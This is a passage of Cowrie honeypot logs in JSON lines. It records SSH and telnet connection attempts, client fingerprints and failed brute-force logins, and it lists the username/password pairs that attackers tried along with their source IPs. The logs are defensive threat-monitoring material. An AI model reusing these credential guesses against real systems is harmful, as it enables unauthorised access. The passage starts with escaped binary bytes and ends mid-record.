\\x1c\\xf3/\\xf2\\x9f\\xd09\\xc6\\x8a6\\xc0\\xed\\x8a\\x88\\x84\\x08\\x8c\\x8bz]`\\x12\\x0c2\\xbfM\\xa0\\xad\\x92\\xbc\\x12K\\x00\\x15\\x00\\xbb\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:57:39.943355Z","src_ip":"185.220.101.161","session":"e619b9bb669e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"21.3","message":"Connection lost after 21.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:57:40.146162Z","src_ip":"185.220.101.161","session":"e619b9bb669e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.242.143.220","src_port":51730,"dst_ip":"10.17.0.5","dst_port":22,"session":"becdb8fd7c37","protocol":"ssh","message":"New connection: 38.242.143.220:51730 (10.17.0.5:22) [session: becdb8fd7c37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:58:10.427823Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:58:10.431532Z","src_ip":"38.242.143.220","session":"becdb8fd7c37","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:58:10.522398Z","src_ip":"38.242.143.220","session":"becdb8fd7c37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aggregator2024","message":"login attempt [root/aggregator2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:58:10.797340Z","src_ip":"38.242.143.220","session":"becdb8fd7c37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:58:11.893050Z","src_ip":"38.242.143.220","session":"becdb8fd7c37","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.228.179.34","src_port":41968,"dst_ip":"159.203.135.109","dst_port":22,"session":"c87db3719223","protocol":"ssh","message":"New connection: 20.228.179.34:41968 (159.203.135.109:22) [session: c87db3719223]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:58:33.421331Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:58:33.424444Z","src_ip":"20.228.179.34","session":"c87db3719223","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:58:33.433637Z","src_ip":"20.228.179.34","session":"c87db3719223","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"atom","password":"atom321","message":"login attempt [atom/atom321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:58:33.470824Z","src_ip":"20.228.179.34","session":"c87db3719223","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:58:34.482602Z","src_ip":"20.228.179.34","session":"c87db3719223","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.156.182.84","src_port":60699,"dst_ip":"10.17.0.5","dst_port":22,"session":"863054017099","protocol":"ssh","message":"New connection: 87.156.182.84:60699 (10.17.0.5:22) [session: 863054017099]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:58:39.049304Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:58:39.053888Z","src_ip":"87.156.182.84","session":"863054017099","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:58:39.207989Z","src_ip":"87.156.182.84","session":"863054017099","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456*a","message":"login attempt [root/123456*a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:58:41.017752Z","src_ip":"87.156.182.84","session":"863054017099","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:58:42.130892Z","src_ip":"87.156.182.84","session":"863054017099","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.59.236.63","src_port":35560,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f7184cd0570","protocol":"telnet","message":"New connection: 139.59.236.63:35560 (159.203.135.109:23) [session: 9f7184cd0570]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:58:54.348091Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.242.3.195","src_port":35556,"dst_ip":"10.17.0.5","dst_port":22,"session":"1e2fa7d71c87","protocol":"ssh","message":"New connection: 185.242.3.195:35556 (10.17.0.5:22) [session: 1e2fa7d71c87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:58:55.214120Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:58:55.218443Z","src_ip":"185.242.3.195","session":"1e2fa7d71c87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:58:55.309410Z","src_ip":"185.242.3.195","session":"1e2fa7d71c87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@$$wOrd","message":"login attempt [root/P@$$wOrd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:58:55.582447Z","src_ip":"185.242.3.195","session":"1e2fa7d71c87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:58:56.676336Z","src_ip":"185.242.3.195","session":"1e2fa7d71c87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":56576,"dst_ip":"159.203.135.109","dst_port":22,"session":"e9862e82e16b","protocol":"ssh","message":"New connection: 80.66.85.226:56576 (159.203.135.109:22) [session: e9862e82e16b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:59:04.014822Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:59:04.019983Z","src_ip":"80.66.85.226","session":"e9862e82e16b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:59:04.114899Z","src_ip":"80.66.85.226","session":"e9862e82e16b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"02081977","message":"login attempt [root/02081977] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:59:04.384109Z","src_ip":"80.66.85.226","session":"e9862e82e16b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:59:05.475714Z","src_ip":"80.66.85.226","session":"e9862e82e16b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"175.158.183.88","src_port":33587,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d7bb97137e9","protocol":"telnet","message":"New connection: 175.158.183.88:33587 (159.203.135.109:23) [session: 8d7bb97137e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:59:27.599072Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.249.8","src_port":38722,"dst_ip":"159.203.135.109","dst_port":22,"session":"e71a013643ae","protocol":"ssh","message":"New connection: 162.144.249.8:38722 (159.203.135.109:22) [session: e71a013643ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:59:32.407812Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:59:32.411150Z","src_ip":"162.144.249.8","session":"e71a013643ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:59:32.438731Z","src_ip":"162.144.249.8","session":"e71a013643ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bittrexglobal","password":"bittrex123","message":"login attempt [bittrexglobal/bittrex123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:59:32.524233Z","src_ip":"162.144.249.8","session":"e71a013643ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:59:33.555675Z","src_ip":"162.144.249.8","session":"e71a013643ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.083511114120483,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:59:40.682456Z","src_ip":"175.158.183.88","session":"8d7bb97137e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":65244,"dst_ip":"10.17.0.5","dst_port":22,"session":"780e93592e1f","protocol":"ssh","message":"New connection: 38.93.206.2:65244 (10.17.0.5:22) [session: 780e93592e1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:59:41.597632Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:59:41.601293Z","src_ip":"38.93.206.2","session":"780e93592e1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:59:41.660094Z","src_ip":"38.93.206.2","session":"780e93592e1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"[not_saved]","message":"login attempt [root/[not_saved]] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:59:41.823455Z","src_ip":"38.93.206.2","session":"780e93592e1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:59:42.876438Z","src_ip":"38.93.206.2","session":"780e93592e1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":34344,"dst_ip":"159.203.135.109","dst_port":22,"session":"7ba9aea85b2d","protocol":"ssh","message":"New connection: 62.133.62.83:34344 (159.203.135.109:22) [session: 7ba9aea85b2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:59:48.878936Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:59:48.881646Z","src_ip":"62.133.62.83","session":"7ba9aea85b2d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-ce